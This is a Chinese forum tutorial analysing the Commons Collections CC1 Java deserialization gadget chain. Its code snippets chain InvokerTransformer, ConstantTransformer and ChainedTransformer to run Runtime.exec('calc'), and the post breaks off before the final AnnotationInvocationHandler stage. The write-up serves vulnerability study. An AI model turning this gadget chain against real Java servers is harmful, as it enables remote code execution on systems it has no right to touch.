Java反序列化漏洞-CC1利用链分析

饭宝  金牌会员 | 2024-2-22 02:40:10 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 898|帖子 898|积分 2694

@
目录

一、前置知识

1. 反射

首先,Java执行系统命令的语句是这样的:
  1. Runtime.getRuntime().exec("calc");
复制代码
用反射的方法执行Runtime.getRuntime().exec("calc")的语句是这样的:
  1. //获取Runtime类对象
  2. Class<?> clazz = Runtime.class;
  3. //获取getRuntime方法
  4. Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
  5. //获取Runtime对象
  6. Runtime runtime = (Runtime) getRuntimeMethod.invoke(clazz, null);
  7. //获取exec方法
  8. Method execMethod = clazz.getMethod("exec", String.class);
  9. //反射执行exec("calc")
  10. execMethod.invoke(runtime, "calc");
复制代码
如果上面这些反射代码看不懂,建议补一下反射基础:
黑马Java反射Java安全-反射
2. Commons Collections是什么

Java Collections Framework 是 JDK 1.2 中的一项重要新增功能。 它添加了许多强大的数据结构,可以加速最重要的 Java 应用程序的开发。 从那时起,它已成为 Java 中公认的集合处理标准。
Commons-Collections试图通过提供新的接口、实现和实用程序来构建JDK类。
像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使⽤了Apache Commons Collections工具库,当该工具库出现反序列化漏洞时,这些应用也受到了影响,这也是反序列化漏洞如此严重的原因。
3. 环境准备

本文中漏洞复现环境:
在pom.xml添加commons-collections依赖
  1. <dependencies>
  2.     <dependency>
  3.         <groupId>commons-collections</groupId>
  4.         <artifactId>commons-collections</artifactId>
  5.         <version>3.2.1</version>
  6.     </dependency>
  7. </dependencies>
复制代码
在项目结构中指定JDK版本

二、分析利用链

这个链分析顺序是从链的最后部分·,即执行命令的逻辑部分开始分析,一直到反序列化的入口点结束。
1. Transformer

Transformer是一个接口,这个接口声明了一个transform函数

2. InvokeTransformer

这个类的位置:org.apache.commons.collections.functors.InvokerTransformer
看一下InvokeTransformer的构造方法和tramsform方法,这里吧一些不必要的代码省去了
  1. public class InvokerTransformer implements Transformer, Serializable {
  2.     //构造方法
  3.     public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
  4.         iMethodName = methodName;
  5.         iParamTypes = paramTypes;
  6.         iArgs = args;
  7.     }
  8.     //实现Transformer接口的tramsform方法
  9.     public Object transform(Object input) {
  10.         Class cls = input.getClass();
  11.         Method method = cls.getMethod(iMethodName, iParamTypes);
  12.         return method.invoke(input, iArgs);
  13.     }
复制代码
构造方法:InvokerTransformer(方法名,形参列表,实参列表)
tramsform方法:

  • 调用接收到的对象的getClass方法,获取他的类对象
  • 用getMethod方法获取cls类对象的iMethodName方法
  • 用invoke方法执行input对象的iMethodName方法,参数是iArgs
也可以理解成tramsform就是反射执行 input.iMethodName(iArgs)
执行命令

用 InvokeTransformer 来弹个计算器试试
  1. package com.zzy.ApacheCC1;
  2. import org.apache.commons.collections.functors.InvokerTransformer;
  3. public class Blog {
  4.     public static void main(String[] args) {
  5.         Class[] paramTypes = {String.class};
  6.         Object[] args1 = {"calc"};
  7.         InvokerTransformer it = new InvokerTransformer("exec", paramTypes, args1);
  8.         it.transform(Runtime.getRuntime());
  9.     }
  10. }
复制代码
上面这段代码相当于执行了这些东西:
  1. Object runtime = Runtime.getRuntime();
  2. Class cls = runtime.getClass();
  3. Method exec = cls.getMethod("exec", String.class);
  4. exec.invoke(runtime, "calc");
复制代码
如何不直接调用transform方法,让程序自动调用transform方法来命令执行呢?请先看下面这几个类。
3. ConstantTransformer

ConstantTransformer的构造方法把传过来的值赋给iConstant
然后ConstantTramsformer的tramsform方法又把他返回回去。收到什么就返回什么,很没意思的一个方法是吧。
关键代码:
  1. public class ConstantTransformer implements Transformer, Serializable {
  2.     public ConstantTransformer(Object constantToReturn) {
  3.         iConstant = constantToReturn;
  4.     }
  5.     public Object transform(Object input) {
  6.             return iConstant;
  7.         }
  8. }
复制代码
然后我们先看下一个类
4. ChainedTransformer
  1. public class ChainedTransformer implements Transformer, Serializable {
  2.     public ChainedTransformer(Transformer[] transformers) {
  3.         iTransformers = transformers;
  4.     }
  5.     public Object transform(Object object) {
  6.         for (int i = 0; i < iTransformers.length; i++) {
  7.             object = iTransformers[i].transform(object);
  8.         }
  9.         return object;
  10.     }
  11. }
复制代码
ChainedTransformer的构造方法接收一个Transformer类型的数组
然后ChainedTransformer的transform方法遍历transformers数组,依次执行每个Tramsformr的transform方法,
给transform方法一个初始值,然后每个Tramsformr的transform方法的返回值最为下一个Tramsformr的transform方法的参数来执行
听起来是不是有点绕,在脑子里过几遍,然后再实际调试一下,这样就差不多能看懂了。
执行命令

我们试着用ChainedTransformer结合InvokerTransformer和ConstantTransformer来自动调用InvokerTransformer的transform方法完成命令执行
  1. Transformer[] transformers = {
  2.         new ConstantTransformer(Runtime.getRuntime()),
  3.         new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  4. };
  5. new ChainedTransformer(transformers).transform(null);
复制代码
由于Runtime类没有实现Serializable接口,无法进行序列化,但是Class类实现了Serializable接口。
所以这里再改进一下代码,用Runtime.class命令执行
  1. ConstantTransformer ct = new ConstantTransformer(Runtime.class);
  2. //获取类对象
  3. //Runtime.class
  4. String methodName1 = "getMethod";
  5. Class[] paramTypes1 = {String.class, Class[].class};
  6. Object[] args1 = {"getRuntime", null};
  7. InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
  8. //获取getRuntime方法
  9. //Runtime.class.getMethod("getRuntime", null)
  10. String methodName2 = "invoke";
  11. Class[] paramTypes2 = {Object.class, Object[].class};
  12. Object[] args2 = {null, null};
  13. InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
  14. //getRuntime.invoke获取Runtime对象
  15. //it1.invoke(null, null)
  16. String methodName3 = "exec";
  17. Class[] paramTypes3 = {String.class};
  18. Object[] args3 = {"calc"};
  19. InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
  20. //Runtime对象执行exec命令
  21. //it2.exec("calc")
  22. Transformer[] transformers = {ct, it1, it2, it3};
  23. new ChainedTransformer(transformers).transform(null);
复制代码
上面这些代码相当于执行了这些操作:
  1. Class runtimeClass = Runtime.class;
  2. Method getruntime = runtimeClass.getMethod("getRuntime", null);
  3. Runtime runtime = (Runtime) getruntime.invoke(null, null);
  4. runtime.exec("calc");
复制代码
成功执行命令

这里可以自动调用InvokerTransformer的transform了,但是又多出来个ChainedTransformer的transform,现在还得解决自动调用ChainedTransformer的transform的问题。先看看下面这几个类吧。
5. TransformedMap

类位置:org.apache.commons.collections.map.TransformedMap
  1. public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
  2.     protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  3.         this.keyTransformer = keyTransformer;
  4.         this.valueTransformer = valueTransformer;
  5.     }
  6.         public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  7.         return new TransformedMap(map, keyTransformer, valueTransformer);
  8.     }
  9.         protected Object checkSetValue(Object value) {
  10.         return valueTransformer.transform(value);
  11.     }
  12. }
复制代码
静态decorate方法可以调用TransformedMap的构造方法,返回一个TransformedMap实例。
TransformedMap的checkSetValue方法调用了transform方法,valueTransformer的值可以通过构造方法的第三个参数获得。
但是checkSetValue方法修饰符是protected,无法直接调用它,我们接着寻找一个可以调用checkSetValue方法的类。
6. AbstractInputCheckedMapDecorator

它是TransformedMap的父类
  1. abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {        
  2.         protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
  3.         super(entry);
  4.         this.parent = parent;
  5.         }
  6.     public Object setValue(Object value) {
  7.         value = parent.checkSetValue(value);
  8.         return entry.setValue(value);
  9.     }
  10. }
复制代码
可以看到它的内部类MapEntry的setValue方法调用了checkSetValue方法,但是setValue方法依然不能直接调用,接着寻找能调用setValue方法的类吧。
7. AnnotationInvocationHandler

这个类的主要作用是为注解处理器提供代理对象,以便在运行时动态地处理注解。
这个类的位置:sun.reflect.annotation.AnnotationInvocationHandler
[code]class AnnotationInvocationHandler implements InvocationHandler, Serializable {    AnnotationInvocationHandler(Class

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

饭宝

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表